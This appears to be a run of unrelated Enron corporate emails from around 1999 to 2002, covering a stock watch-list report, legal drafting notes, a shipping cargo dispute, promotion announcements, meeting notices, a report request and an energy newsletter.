64.20  HD   190  47.00  -0.80  -1.67%  5,714,800  8,930.00  -152.00  SRV   =
2,665  4.55  -0.38  -7.71%  969,700  12,125.75  -1,012.70  SUNW   210  10.6=
4  -0.47  -4.23%  52,137,300  2,234.40  -98.70  WCOM   215  10.40  -1.60  -=
13.33%  153,200,400  2,236.00  -344.00  NCI   42  4.82  -0.54  -10.07%  39,=
600  202.44  -22.68  ENRNQ   145  0.42  -0.02  -4.49%  17,322,900  61.62  -=
2.90               'My Stocks' Total:  55,787.11  -2,991.28               A=
ll Total:  55,787.11  -2,991.28   Symbol  Events  Community Take       CPQ =
  Most Actives  293 Long / 61 Short      [IMAGE] DELL   Most Actives  591 L=
ong / 73 Short      [IMAGE] EMC   Most Actives  728 Long / 33 Short    MACD=
 - Bullish      Percentage Loser       [IMAGE] EOG    36 Long / 5 Short    =
  [IMAGE] SRV   Percentage Loser  28 Long / 1 Short      [IMAGE] SUNW   Mos=
t Actives  773 Long / 45 Short      [IMAGE] WCOM   Record Price Low  530 Lo=
ng / 18 Short    Most Actives      Percentage Loser             [IMAGE] ENR=
NQ   Record Price Low  113 Long / 6 Short    Most Actives    Events for sto=
cks in your Watch list(s):  Symbol  Events  Community Take       CLRS   Clo=
se Below the 50-day EMA  49 Long / 3 Short      [IMAGE] ENTU   13-day EMA C=
ross Below 50-day EMA  86 Long / 3 Short      [IMAGE] NVDA   Most Actives  =
157 Long / 83 Short    Price Loser       [IMAGE] RCOM    17 Long / 2 Short =
     [IMAGE] For help  with ClearStation's Portfolio Manager, or to learn m=
ore about the calculations,  please visit our  Help area . To discontinue t=
his report, go to Customize   (you will have to log in if you haven't alrea=
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to tell or suggest which securities  members should buy or sell for themsel=
ves. Members should always check with  their licensed financial advisor and=
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Here is this upcoming week's discussion  material!?
?
Bobby
 - NEON Measuring Success Lesson 3.doc

Dear THERESA STAAB, 

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Message Number K-9-734432-3605192-2-62768-US2-D128C89B

We agree

"Eileen Ponton" <kponton@duke-energy.com> on 04/04/2001 10:41:53 AM

      Jones/Texas Utilities@TU, HPL.SCHEDULING@ENRON.COM, 
LIZ.BELLAMY@ENRON.COM
cc:
Subject:  ACTUAL FLOW FOR APRIL 3RD

Measurement Report I just received shows "0" flow for the 3rd......

Sara, attached is my draft for partnership interests based upon the Juniper 
LP.  Andrea has agreed that as to partnership interests, the mutual 
termination right is only for the entire interest and we  do not need to 
draft in partial termination rights so the Notice, if given, will always be 
for the entire interest.  I have fixed Equity Notional Amount and this makes 
the numbers work.  I modified Method of Adjustment to cover any event of 
dilution or conversion (but did not specifically say in sole discretion of 
Calc Agent)--this will cover primarily the effect of the addition of new 
partners to the partnership.  I also left in Extraordinary Events as we have 
previously syled same since partnership interests could be sold, exchanged, 
rolled up to a master partnership etc.  It is not perfect, but it seems to 
cover those types of events adequately.  Give me a call Monday morning and we 
can call Jean.  Again, thanks for your help on Friday.  Mary

Mary Cook

Yes but no counterparty names.  Jay has it all.

Sent:	Wednesday, January 30, 2002 3:19 PM
Subject:	

Louise

Did we retain all the historical data from EOL.  We met some folks that can help us analyse it.

       Fruits Of The Spirit
        Max Lucado)

       It's quiet. It's early. My coffee is hot. The sky is still black. The
 world is still asleep. The day is coming.

       In a few moments the day will arrive. It will roar down the track with
 the rising of the sun. The stillness of the dawn will be exchanged for the
 noise of the day. The calm of the solitude will be replaced by the pounding
 pace of the human race. The refuge of the early morning will be invaded by
 decisions to be made and deadlines to be met.

       For the next twelve hours I will be exposed to the day's demands. It
 is now that I must make a choice. Because of Calvary, I'm free to choose.
 And so I choose.

       I choose love... No occasion justifies hatred; no injustice warrants
 bitterness, I choose love. Today I will love God and what God loves.

       I choose joy... I will invite my God to be the God of circumstance. I
 will refuse the temptation to be cynical...the tool of the lazy thinker. I
 will refuse to see people as anything less than human beings, created by
 God. I will refuse to see any problem as anything less than an opportunity
 to see God.

       I choose peace... I will live forgiven. I will forgive so that I may
 live.

       I choose patience... I will overlook the inconveniences of the world.
 Instead of cursing the one who takes my place, I'll invite him to do so.
 Rather than complaining that the wait is too long, I will thank God for a
 moment to pray. Instead of clinching my fist at new assignments, I will face
 them with joy and courage.

       I choose kindness... I will be kind to the poor, for they are alone.
 Kind to the rich, for they are afraid. And kind to the unkind, for such is
 how God has treated me.

       I choose goodness... I will go without a dollar before I take a
 dishonest one. I will be overlooked before I will boast. I will confess
 before I will accuse. I choose goodness.

       I choose faithfulness... Today I will keep my promises. My debtors
 will not regret their trust. My associates will not question my word. My
 wife will not question my love. And my children will never fear that their
 father will not come home.

       I choose gentleness... Nothing is won by force. I choose to be gentle.
 If I raise my voice may it be only in praise. If I clench my fist, may it be
 only in prayer. If I make a demand, may it be only of myself.

       I choose self-control... I am a spiritual being. After this body is
 dead, my spirit will soar. I refuse to let what will rot, rule the eternal.
 I choose self-control. I will be drunk only by joy. I will be impassioned
 only by my faith. I will be influenced only by God. I will be taught only by
 Christ. I choose self-control.

       Love, joy, peace, patience, kindness, goodness, faithfulness,
 gentleness, and self-control. To these I commit my day. If I succeed, I will
 give thanks. If I fail, I will seek His grace. And then when this day is
 done, I will place my head on my pillow and rest. >>

 =09 =09    Dear Eric,  President Bush delivers his State of the Union addr=
ess Tuesday evening, and on Wednesday our Washington bureau will bring us c=
omplete coverage of the speech as it relates to energy.  During his address=
, the President will likely discuss the pending debate in the U.S. Senate o=
ver comprehensive energy legislation.  President Bush is not expected to me=
ntion Enron by name, but he's expected to touch on some of the issues raise=
d by the company's bankruptcy.   There's a regular Federal Energy Regulator=
y Commission meeting on Wednesday.  There are a host of issues on the agend=
a including the Commission's new push to address market power and the Calif=
ornia case.   Finally from Washington, in the wake of the Enron implosion, =
there's talk of a new lobbying effort on behalf of electricity restructurin=
g.  Former FERC Chairman James Hoecker is spearheading the effort and will =
talk with us during the 10:00 a.m. ET newscast tomorrow about where those e=
fforts stand.   Altira Managing Partner Dirk McDermott talks about challeng=
es new energy companies face when trying to find investors, especially sinc=
e the Enron crisis.  On Wednesday in the Houston bureau, we'll hear from Mc=
Dermott and have details on his speech from Energy Venture Fair II, where h=
e addressed the issue.   Also from Houston, AES New Energy President Clem P=
alevich talks about the challenges his company faces in the new Texas elect=
ric deregulated market in Texas.     Bonneville Power Administration Spokes=
person Mike Hansen will join West Coast Correspondent Kym McNicholas during=
 the 1:00 p.m. ET newscast on Wednesday.   Hansen will discuss how lower ma=
rket prices will lead to higher rates in the Northwest.      More on energy=
 prices - from New York on Wednesday, Merrill Lynch Senior Economist Gerald=
 Cohen will discuss the impact of energy prices on the economy.  He'll also=
 give us his expectations for the Fed.  Catch Cohen during the 11:00 a.m. E=
T newscast tomorrow.    Closing Prices for Tuesday, Jan. 29, 2002    Crude:=
 $19.58/bbl -$0.47   Unleaded: $0.5669/gallon -$0.0142   Heating Oil: $0.52=
05/gallon -$0.0108   Gas: $2.006/mmBtu +$0.098   Fwd uE(Feb.): $3.39/mmBtu =
+$0.03   Keep in mind things are subject to change at a moment's notice. Oc=
casionally guests have to reschedule or change time slots.  We'll continue =
to do our best to keep you updated on future interviews and events.     Be =
sure to watch our newscasts every business day - 9 a.m. to 5 p.m. ET, at th=
e top of each hour.  =09 =09=09=09=09

PGE is currently working on a problem with the inability to call international numbers. If you need to make an international call you can use 10 10 555 then the number. For example:   10 10 555 011 44 207 375 8762 

If you have any questions give Chip a call at x8916. 

britt,

thanks your reply which is noted. you will notice i have excluded david best 
and ngregson (?) preferring to keep my comments in house as privileged info, 
unless you feel this msg should be forwarded to them later.

firstly, i am getting nowhere with mitsubishi on the settlement front. i have 
gone so far as to mention this morning to mitsuru that if this does goes to 
arbitration, and should mitsubishi succeed in their position, this will only 
serve to increase our claim by a similar amount since these costs would then 
become part of our contamination claim. he seems quite content to let this go 
to arbitration. as an example, he was suppose to call me back this afternoon 
but did not.

secondly, with regards to your comments, i would just respond/add the 

1. i don't know if i am switching tactics so much as following what should 
have been done in the beginning (i.e. submit the claim to our insurance 
company and let them proceed against the owners). i honestly feel the 
arbitrators will say, "pay the freight (and possibly the demurrage now) and 
settle the contamination claim as a separate issue". clearly, the c/p says 
that freight is due without deduction once the vessel has completed discharge.

on the issue of the "pre-sale" survey, i have discussed this matter 
internally with eric tan. seems our position is that singapore considered the 
sample that was drawn as a bad sample as well as we were not sure that the 
test methods used conformed with the testing methods required for first gas. 
this position is proved by the loading of the pacific virgo when the product 
subsequently tested on-spec for first gas. granted, it might still become an 
issue but, as you say. it could become an issue in either proceeding.

i am getting a little confused on the matter of the joint testing. verbally i 
was advised that enron did not want to have the joint testing - at least not 
on a prompt basis. your msg now says that we do want to test the product and 
it should be done as soon as possible (as mitsubishi - and your advices that 
the underwriters and hear owner's p and i club would want). i assume this 
change is the result of the arbitration. 

be that as it may, i do have a bit of information that you may, or may not, 
be aware of or find relevant. when eric tan and i visited first gas in 
mid-oct to meet the personnel at first gas and witness one of the cargoes 
being discharged at the plant, we also took the opportunity to meet with sgs 
in subic bay to see their facilities and meet their personnel. during the 
conversation the subject of the elang cargo came up and the comment from sgs 
is that they were fairly certain it was off-spec due to "bugs". this may 
sound silly but i have heard of this before and is a problem with petroleum 
products.

it seems sgs even went so far as to test the product themselves for these 
"bugs" and got a positive result. this test was not requested by enron or 
first gas and was done some time later in this process. i understand there 
may be some concern on our part over our subsequent sales to third parties if 
we knew there were bugs in the product. i would have to say that this was not 
known at the time and even today is only conjecture based on sgs' advices 
mid-oct (well after these sales). sgs also described "changes" to the product 
which would fit with the cargo having bugs (i.e. a strong sulphur smell and 
change in colour).

if the testing is now done, i do not know if these bugs will be detected or 
not. however, if they are in the ship's samples, they may have changed the 
sample sufficiently that even a visual observation may detect the problem. 
the next problem becomes proving from where the bugs originated. were they in 
the previous cargo tanks that were not cleaned properly? or were they in the 
condensate when the cargo was loaded? obviously, testing of the shore sample 
prior to loading will determine the answer. if the shore sample is ok, then 
they had to come from the ship. if the shore sample also has bugs, then we 
should be claiming against our suppliers.

this of course assumes the suggestion put forth by sgs is in fact correct. 
just something else to be considered.

2) i am not saying that we pay the full amount immediately but only the 
freight portion (about $500,000). we then advise mitsubishi (or their 
lawyers) that we will now review the demurrage claim (about $260,000) and 
revert by say end nov. the demurrage claim has been sent to our london 
office's demurrage department and i have asked them for their comments on the 
claim. after all, there may be issues with the ship's pumping performance or 
simple laytime errors which may reduce the demurrage claim. they will try to 
get me a response before the weekend.

in this manner, we pay part of the money but still have a smaller portion 
which we may apply against our claim once the test results are known. i will 
leave this to legal as to decide how the approach to mitsubishi or their 
lawyers should be made

rgds

Please review the new definition for Maximum Transaction Volume and give me 
your comments.

Stacy

IT central.com then e request and follow instructions.  If you have any problems call Stacey Richardson @ 30569. Global Contracts is the database name.

Sent: Thursday, July 26, 2001 2:12 PM
To: Perlingiere, Debra
Subject: Database

Debra, Carol St. Clair said you have access to the Global Systems Contract database.  Is that what it's called, and do I submit an E Request for Carol to get access?  Please advise.  Thanks! 

Subject: Re: T-shirt Give Away  

From: Hello Enron@ENRON on 08/26/99 06:00 PM
cc:  
Subject: T-shirt Give Away

	The hip, new HELLO ENRON T-shirt made its debut this week, and employees 
around the world are wondering where they can find one.  You can't buy them, 
but you can win one.  
	
	Here's how: listen to the program and respond to the attached survey.  Every 
employee who answers the five survey questions will be entered in a drawing 
to win one of hundreds of T-shirts that will be given away in September.
	
	To win, submit the survey by September 15 to hello-enron@enron.com or Linsey 
Hasenbank (lhasenb@enron.com).  You may also fax to 713-853-6790 or send to 
EB 4932 in Houston.

There are two ways to listen to HELLO ENRON:

 (1) on your telephone by dialing 713-853-HELO or toll free 1-888-335-0403
 (see home.enron.com for international numbers);

 (2) or on your computer through streaming audio -- visit home.enron.com for 
access.

Thanks for listening!

Hi,
 
How are you doing?  How was the Paralegal lunch?  After getting sick on Mexican food, there would have been now way I could have eaten it.  What do you have planned for the weekend, I hear the weather is going to be great.  Any news from the cowboy?  Is work still as busy?
 
gg

Mary Solmonson is a Senior Director with ENA.  Business purpose was to 
discuss online issues.

	Taffy Milligan
	06/01/2000 02:19 PM
		 
		 To: Susan Bailey/HOU/ECT@ECT, Susan Flynn/HOU/ECT@ECT, Tana 
Jones/HOU/ECT@ECT, Sara Shackleton/HOU/ECT@ECT, Carol St Clair/HOU/ECT@ECT, 
Mark Taylor/HOU/ECT@ECT, Ann Elizabeth White/HOU/ECT@ECT
		 cc: Suzanne Adams/HOU/ECT@ECT, Erica Braden/HOU/ECT@ECT, Kaye 
Ellis/HOU/ECT@ECT, Taffy Milligan/HOU/ECT@ECT, Becky Tlucek/HOU/ECT@ECT
		 Subject: Expense Reports

For your information:  

Per an IRS stipulation,  the following information must be provided  when 
filing a meal expense on expense reports.  

 Guest's name
 Guest's title (even if ENRON employee)
 Company name  (if Enron, which entity)
 Business Purpose 

Thanks, 
Taffy Milligan

We are pleased to announce the following promotions within Enron Net Works.  
These promotions will be effective February 1, 2001.   We would like to thank 
these individuals for their past contributions and recognize their 
instrumental roles in the growth and success of the organization.  Please 
join us in congratulating the following employees, and wishing them continued 
success with Enron.        

Sally Beck
      
To Vice President  To Senior Specialist    
David Forster  Luis Aybar    
David Samuels  Matthew Burleigh    
Jay Webb  Heather Busby    
  Stephen(Steve) Harrington    
To Senior Director  Wei Hu
Scott Mills  Aneela Charania
Kevin Sweeney  Diane Ellstrom
  David Rae
To Director  Shifali Sharma
Michael(Mike) Croucher  Gang(George) Ji
Rahil Jafry  Jorge Mancero
Savita Puthigai  Kirti Patel    
Ganapathy Ramesh  Virendra Patel    
Drew Ries  Raleigh(Trey) Rhodes    
Stuart Reed  Mark Symms    
Thresa Allen  Carlos Uribe    
Jeffrey Gossett  Ye Wang    
Kim Theriot  Amelia Alland    
Stacey White  Cynthia Balfour-Flanagan
  Stacey Brewer
To Manager  Marlene Hilliard
Nilay Basu  Dawn Kenne
Frank Coles  Errol McLaughin    
Mark Davidson  Kevin Meredith
Daniel(Dan) Dietrich  Meredith Mitchell
Colin Tonks  Thien-Huong Ngo
Danielle Marcinkowski  Brian Palmer
Kari Oquinn  Mark Schrab    
Tai Nguyen  Stephanie Sever
Cornelio Pua  Christopher Spears
Amy Spoede  Tara Sweitzer
Gerald(Jake) Staffel  Sabrae Zajac
Vernell Vallejo      
Jing Fang(Jennifer) Zhou  To Specialist    
Christopher Abel  Robert Henry    
David Baumbach  Benjamin(Ben) Jordan    
Rebecca Ford  Nikolay Kraltchev    
Ngiam(Jeremy) Wong  Grace Warren
Matthew Brown  Kenneth(Kenny) Lim    
Clara Carrington  Victoria Sorkina
Richard Cross  Patrick Marchand    
John Swinney  Sumit Shah    
Maya Beyhum  Kori Loibl    
Patricia Sullivan  Bruce Mills    
Patricia Spence  Mathew Motsinger
Dimitri Taylor  Bernice Rodriquez
Darron Giron  Brandi Wachtendorf
Kristen Hanson  Patryk Wlodarski
Larry Hunter  
William Kasemervisz  To Staff    
Kam Keiser  Norma Yeverino
Monica Lande  Geralynn Gosnell
David Maxwell  Judith Walters
Melissa Ratnala  Richard Miley
  Joan Winfrey
Technical Consultant  Guy Freshwater
Xiaozhuo(Sean) Yang  Brent Storey
Show-Yien(Show) Lee  Stuart Thom
Nai-Chung(Jesse) Wang  Jonathan White
Jin Yu  
  To Executive Assistant
Associate To Manager  Peggy McCurley
Jason Althaus  Tammie Schoppe
Cheryl Ingstad  
Ross Mesquita  To Administrative  Coordinator    
Leonardo Pacheco  Heather Choate    
      
To Administrative Assistant I  To Senior Clerk
Ali De Hoyos  Matthew Davies  
  Demonica Lipscomb    
To Senior Assistant  Mark Pilkington
Barbara Lewis  Daniela De Lisi
Sarah Knott  Tresea Parker    
Thais Hensch  Angela Barnett
 Laura Vargas

As discussed yesterday, we will have a 5:00 pm meeting daily to update you on details regarding the merger.   We will begin this meeting today, Novmeber 13, and will continue this as long as you find it useful.  The meeting will be held each day in ECS 04075 (same conference room that we were in on Monday morning).  

Mark Taylor will join us from Legal this afternoon. He will discuss terms of the merger agreement and will answer questions that you may have.  We will also discuss our ENW plans for a PRC "Lite".   

There is no need to RSVP to this meeting each day.  The meeting will be held daily for all of those who can attend.  

--Sally 

FYI

Vince
---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 08/04/2000 
04:38 PM ---------------------------
   
	From:  Ted C Bland                           08/04/2000 02:23 PM
	
Heather Kendall/HOU/ECT@ECT, Gary Hickerson/HOU/ECT@ECT, Jesus 
Melendrez/Corp/Enron@Enron, Rodney Malcolm/HOU/ECT@ECT, Kevin 
McGowan/Corp/Enron@ENRON, Jere C Overdyke/HOU/ECT@ECT, Edward D 
Baughman/HOU/ECT@ECT, Tom Shelton/HOU/ECT@ECT, Bryan Burnett/HOU/ECT@ECT, 
Vince J Kaminski/HOU/ECT@ECT
Lavorato/Corp/Enron@Enron, Tim O'Rourke/Corp/Enron@Enron, Sheila 
Walton/HOU/ECT@ECT, Hoyt Thomas/NA/Enron@Enron, Cindy Skinner/HOU/ECT@ECT, 
Fran L Mayes/HOU/ECT@ECT, Dave Hill/Corp/Enron@Enron 
Subject: Initial meeting to kick off ENA Analyst and Associate Roundtable

We will kick off the initial meeting of the ENA AA Roundtable on Friday, 
August 18th at 9:00am in Room EB30C1.  Items on the agenda will include the 
following:

Discussion on PRC
Immediate and future Analyst and Associate needs by business unit
Botton 10% management
Projecting AA needs from core schools for Summer 2001intake
Existing talent in specialiast roles who should be in AA Program

Also, please be prepared to present a list of your current AA's with start 
and rotation dates.  Chris, Tim, Rob and Max - if you will send me the data I 
will represent your interests at the meeting.  Thanks again for all your 
support.  Ted 

Please approve Ina Rangel for a corporate American Express.

Phillip Allen

Sent:	Friday, July 13, 2001 11:06 AM
To:	Allen, Phillip K.
Subject:	American Express Letter

Phillip,

Here is the following letter.  I put the amount that we are currently spending on food per month.  As of right now, we are having to borrow different peoples credit cards for lunches.  A lot of restaurants do not open accounts on credit.  They only take payment at time of order.

Ina Rangel

1. Alberta PPA - Transmission Cost Responsibility Hearing 

Enron is leading a coalition of 5 PPA Buyers that successfully advocated the AEUB to convene a process/hearing (the convening of which was opposed by the PPA Owners) to consider the proposal by the Transmission Administrator to apply transmission charges to PPA Buyers for transmission capacity that solely accrues to the financial benefit of PPA Owners.  One week of hearings were held in spring 2001 with the hearing scheduled to be completed in November 2001.  Value to Enron Canada if we prevail at hearing is approximately $Cdn 60 million.

2. Alberta PPA - Alberta Government Agreement to Split Enron's Sundance B PPA in Two PPAs

Government Affairs successfully lobbied Alberta Energy officials and Minister of Energy to agree to approve regulatory changes necessary to allow for the split of Enron's PPA into two PPAs despite one of the fundamental elements of the original PPA model was that the PPAs would be very large and not divisible.  This is important as the whole PPA represents 706 MW and is likely too large for Enron to sell as a whole but a PPA of 303 MW is much more marketable to potential Enron counter parties.  Value to Enron Canada if one-half PPA is sold is projected to be approximately $Cdn 50 million.

3. Alberta PPA - Opposition to Wabamun Water Treatment Plant Expansion 

Government Affairs in conjunction with legal group has achieved "effected person" status in relation to an application by TransAlta (Enron's PPA Owner counterparty) to undertake an expansion to the Wabamun Water Treatment Plant.  The objective is to position Enron to resist future attempts by TransAlta to pass through the cost of this expansion to Enron.  Value to Enron Canada if we succeed is project to be approximately $Cdn 2 million.

4. Alberta - Appointment to Key Government/Industry Committees

Enron Government Affairs staff are presently members of each of the key committees in Alberta responsible for providing advice to Government and/or its appointed agents (Power Pool, TA, AEUB) on electricity market design issues, including: Advisory Committee, Power Pool Operations Committee, AEUB Electric Reliability Task Force, Industry Structure Review Consultant Selection Committee, Retail Issues Committee, IPPSA Board of Directors.  Value to Enron not quantifiable.

5.  Alberta - Enron Direct

Enron Government Affairs provided extensive support to Enron Direct in undertaking media/government launch of Enron Direct in Alberta is presently assisting Enron Direct in determining rules and requirements to expand its service offerings to B.C. natural gas market and AltaGas Utilities service territory in Alberta.  Enron Government affairs is also advocating against discriminatory exit fees proposed by Atco Gas.  Value to Enron not quantifiable.

6. Ontario - Electricity Market Opening - continue to advocate Ontario electricity market opening.

7. Ontario - Enron Direct - support for the establishment of Enron Direct's business in Ontario, including the applicable rules, licensing, and development of business procedures and forms of contract to be used. 

Chris,
If you haven't already, please retrieve vmail I left you at your Houston # regarding the above and leave me a vmail response.
Thanks so much!  Hope you are doing well!

From: 	Imai, Rika  
Sent:	Wednesday, November 21, 2001 10:51 AM
To:	Black, Tamara Jae
Subject:	AGENDA FOR PIRA PRESENTATION

TJ, 
Please send this out to all the traders
___________________________________________________________________________________________________________________

PIRA will be here on  Monday, December 3rd from 3:30-5:30.

The meeting will be located on the 6th floor in room 6980. 

If you have any specific topics you would like to have covered, please feel free to send me an e-mail

Thank You  

Rika 

Electricity & Fuels Briefing
Allan M. Stewart, Managing Director

AGENDA

Agenda:  This Agenda sets out a broad set of topics which will be covered in handout charts and tables accompanying this briefing. Active participation is encouraged to help efficiently utilize the time of discussion in line with areas of greatest interest.  In addition any questions forwarded in advance will be addressed.

Briefing Objective:  Review and analyze key drivers of electricity & fuel prices at various regional markets throughout North America, with a special emphasis on those subregions of the Eastern Grids. Discuss the key factors/risks in PIRA's reference case outlook and explore important alternative scenarios. Principal timeframes will be now through 3Q2002 (short-term), and 2002-4 (medium-term). There will be a brief discussion of strategic issues and those relating to longer-term timeframes.

Short-Term Electricity & Fuels Outlook (Next 12 Months)
Electricity Price Outlook (vs. Current Consensus)
Overall Load, Resource & Price Assessments
Capacity Modeling & Results
Hydro, Fuels, & Environmental Developments 
Implications for Natural Gas Demand/Prices

Medium-Term Electricity & Fuels Outlook (1 -3 Years)
Capacity Outlook
Survey Results & Implications For Prices & Asset Values
Structural Change Prospects and Potential Impacts
Strategic Implications For Traders/Asset Managers

Longer-Term & Strategic Issues for Future Electricity & Fuels Markets
	-	Outlook For Capacity Additions, Retirements, Environmental Factors & Prices
Potential Strategy Options For Consideration

Fuels & Emissions Markets
Natural Gas, Oil, and Coal Market Outlooks & Risks
Significant Emission Markets Developments

What happens to the money in Wachovia?

Attached are summaries of three recent SDG&E advice letters.? Two  ought to 
be looked at, but may not rise to the level of protests.
?
Dan
 - 10-9-00 SDG&E AL Summary Chart.doc

---------------------- Forwarded by Elizabeth Sager/HOU/ECT on 03/29/2000 
02:07 PM ---------------------------
   
	Corporate Administrative Services
	
	From:  Sara Davidson                           03/29/2000 10:20 AM
	
To: BCC
cc: fberg@swbell.net (bcc: Elizabeth Sager/HOU/ECT)
Subject: 2000 Enron Law Conference Update

Attached please find an update on the 2000 Enron Law Conference in San 
Antonio, as well as a map to the Westin La Cantera Resort and a list of 
activities and participants.  Launch each document and print a copy for your 
reference.

Note that if you are a participant and received this email, your hotel 
arrangements are confirmed.  There is no need to call me or the hotel.  Look 
forward to seeing you in San Antonio!

 <<FritoLayRFP-CA-2nd Round.doc>>  <<Frito-LayCA2ndRoundattachment1.xls>>
<<Frito-LayCA2ndRoundBidForm1.xls>>  <<GISB Base (8-7-01) rev.ZIP>>  <<Frito
Lay GISB Spec Prov2.doc>>  <<GISB EXHIBIT A.doc>>

 - FritoLayRFP-CA-2nd Round.doc 
 - Frito-LayCA2ndRoundattachment1.xls 
 - Frito-LayCA2ndRoundBidForm1.xls 
 - GISB Base (8-7-01) rev.ZIP 
 - Frito Lay GISB Spec Prov2.doc 
 - GISB EXHIBIT A.doc 

I will be out of the office all day Thursday, Sept. 14, to attend a meeting 
in our Washington D.C. office.  I will check voice mail messages throughout 
the day.  
Brenda can reach me on my cell phone in case of emergency.

I will be back in the office the following morning.

Robert E. Bruce
T (713) 345-7780
F (713) 646-3393
robert.bruce@enron.com

I'm not sure which "process" you are referring to.  I have not yet seen a 
list of proposed reference entities and if any of them have a business 
relationship with Enron they will need to be subject to a deeper legal 
review.  The process for that review has not yet been finalized but for some 
potential reference entitiesit will be very time consuming (i.e. for those 
entities where the extent and nature of the business relationship is 
unclear).  The "soft" Chinese walls also have yet to be built for the US.  
For those walls to be effective there may need top be training for people on 
both sides of the walls.

02/16/2000 08:46 AM
To: Mark Taylor/HOU/ECT@ECT, Debbie R Brackett/HOU/ECT@ECT
cc:  
Subject: Credit Launch

Credit are pushing to launch online credit trading for this coming Monday.

Have you both "signed off" on the process, or are there issues outstanding 
which need to be resolved, from your point of view?

Dave

Jason,
could you please test the New Sitara Report (WACOG Desk to Desk). 
Here is the URL for this report http://sitrpt.dev.corp.enron.com/reports/wacog_dsk2dsk.asp
If you have any questions let me know.
thanks
Krishna
35216

From: 	Wolfe, Jason  
Sent:	Wednesday, July 11, 2001 3:31 PM
To:	Lattupally, Krishna
Subject:	proposed sitara report

Krishna,

I am looking to create a new report based on an existing sitara report that generates a deal list by pub code to estimate
various indexes during bid week. This was first made for Anne Bike, West Desk risk group.

The purpose of this new report is to generate a list of Desk-To-Desk deals for a given period and desk and generate a WACOG.
The parameters for this new query include:

From and To Dates
Gas location (including All)
Desk (including All)

It should return to and from dates, volume, price, location, sitara number, tagg number, eol number (if any), and desk
It should generate subtotal volumes and WACOG for each desk, and each pipe location in each desk

Desks include: ENA - IM WSOCAL, ENA - IM WSJ, ENA - IM WKEYSTONE, ENA - IM WPGE, ENA - IM WROCKIES

If possible, the data should export into excel.

Thanks,
Trading Analyst, West Desk
30568

Good luck gang, see you on the other side.  Here is my contact info.

Tom May
Margaret Dhont
7614 Oak Fern
Houston, Tx, 77040
Home (713) 849-5269
Tom's Cell (713) 870-4329
Margaret's Cell (713) 927-8449
thomas_n_may@hotmail.com

Hey Rick.  I think we all kind of feel that we are on the side of right and=
 know that we're trying hard, but it sure is nice to hear from you that it =
is appreciated. =20

From: Shapiro, Richard=20
Sent: Thursday, August 23, 2001 7:29 AM
To: Guerrero, Janel; Palmer, Mark A. (PR); Steffes, James D.; Kaufman, Paul=
; Dasovich, Jeff; Mara, Susan; Comnes, Alan; Kingerski, Harry; Lawner, Lesl=
ie; Frank, Robert; Neustaedter, Robert; 'Bev Hansen (E-mail)'; 'Hedy Govena=
r (E-mail)'; 'Scott Govenar (E-mail)'; Walton, Steve; Thome, Jennifer; Denn=
e, Karen; 'Ken Smith (E-mail)'; 'Sandra Yamane (E-mail)'; 'Joan Kradin (E-m=
ail)'; 'Rich Lichtenstein (E-mail)'; Landwehr, Susan M.; Montovano, Steve; =
Sullivan, Kathleen; Staines, Dan; Briggs, Tom; Robertson, Linda; Novosel, S=
arah; Fulton, Donna; Alvarez, Ray; Allegretti, Daniel; Yoho, Lisa; Migden, =
Janine; Ryall, Jean; Keeler, Jeff; Bolton, Stacey; Schoen, Mary; Dernehl, G=
inger; McVicker, Maureen; Noske, Linda J.; Schmidt, Ann M.; Linnell, Elizab=
eth; O'connell, Earlene
Cc: Kean, Steven J.
Subject: RE: California Campaign Closeout

A follow-on to Janel's comments: I wanted to comment a bit on the " Califor=
nia campaign", our group's(internal and external) individual and collective=
 efforts, and the work that continues: While I may be properly, and not sur=
prisingly, characterized as "non-practicing"(in a formal religious sense), =
I do believe quite firmly that what we do in life( and how we do it) echoes=
 through eternity...it is the effort and the quality of the effort in all t=
hat we do in our lives that both matters and echoes...While we engage in wo=
rk that cannot be equated with the work of people, past and present, such a=
s Mother Teresa, the work we do is good, very good in fact, and makes a sig=
nificant difference to the 18,000 Enron employees and their families...Each=
 of you, in the context of the broad "campaign" to communicate the rightnes=
s of our perspective and to protect the good name of the company and indivi=
duals within the company, has put forth a great effort that has been perfor=
med with excellence and that has made a significant and positive difference=
....and that has succeeded in many respects thus far....I understand the ef=
fort continues, but each of you should feel very proud now.... about what w=
e have done and how we have done it. Thanks very much.

From: Guerrero, Janel=20
Sent: Wednesday, August 22, 2001 5:18 PM
To: Shapiro, Richard; Palmer, Mark A. (PR); Steffes, James D.; Kaufman, Pau=
l; Dasovich, Jeff; Mara, Susan; Comnes, Alan; Kingerski, Harry; Lawner, Les=
lie; Frank, Robert; Neustaedter, Robert; Bev Hansen (E-mail); Hedy Govenar =
(E-mail); Scott Govenar (E-mail); Walton, Steve; Thome, Jennifer; Denne, Ka=
ren; Ken Smith (E-mail); Sandra Yamane (E-mail); Joan Kradin (E-mail); Rich=
 Lichtenstein (E-mail); Landwehr, Susan M.; Montovano, Steve; Sullivan, Kat=
hleen; Staines, Dan; Briggs, Tom; Robertson, Linda; Novosel, Sarah; Fulton,=
 Donna; Alvarez, Ray; Allegretti, Daniel; Yoho, Lisa; Migden, Janine; Ryall=
, Jean; Keeler, Jeff; Bolton, Stacey; Schoen, Mary; Dernehl, Ginger; McVick=
er, Maureen; Noske, Linda J.; Schmidt, Ann M.; Linnell, Elizabeth; O'connel=
l, Earlene
Subject: California Campaign Closeout

Attached is the presentation that Rick and Steve will make to Mr. Lay regar=
ding our accomplishments during the California energy crisis. =20
=20
Great work everybody!! =20
=20
More to come on RTOs.....
=20
=20
=20
=20
=20

"RiskNews Update" <listadmin@riskwaters.com> on 02/02/2001 12:09:13 PM
To: List Member <vkamins@enron.com>
cc:  
Subject: - latest RiskNews Update - 02/02/2001

RiskNews Update - http://www.RiskNews.net

RiskNews Update - http://www.risknews.net/

===================================================================
RiskNews Update - week ending 02/02/2001
http://www.RiskNews.net
News for derivatives and risk management professionals

Welcome to RiskNews Update!

The Fed's second 50 basis point cut in interest rates in a month to stave
off a recession in the US - a move widely discounted in the marketplace -
was the subject of many headlines this week. While the cut is the largest
since the 1982 recession, and has raised eyebrows regarding the true state
of the US economy, there was also plenty of other important news.

ABN Amro unveiled plans to boost its risk management and derivatives
business by purchasing a large slice of ING Barings' North American
investment banking operations for $275 million. Competition in the US and
elsewhere will be fierce, however, with leading player Salomon Smith
Barney creating a new global interest rate and derivatives products group,
following an overhaul of its fixed-income and derivatives businesses.
There appears to be no long-term role for Citibank's Fred Chapey in the
new division. Meanwhile, Deutsche Bank's decision to axe about 2,600 staff
following a restructuring of its operations into two business groups, will
have a negligible impact on its derivatives business (see Headlines).

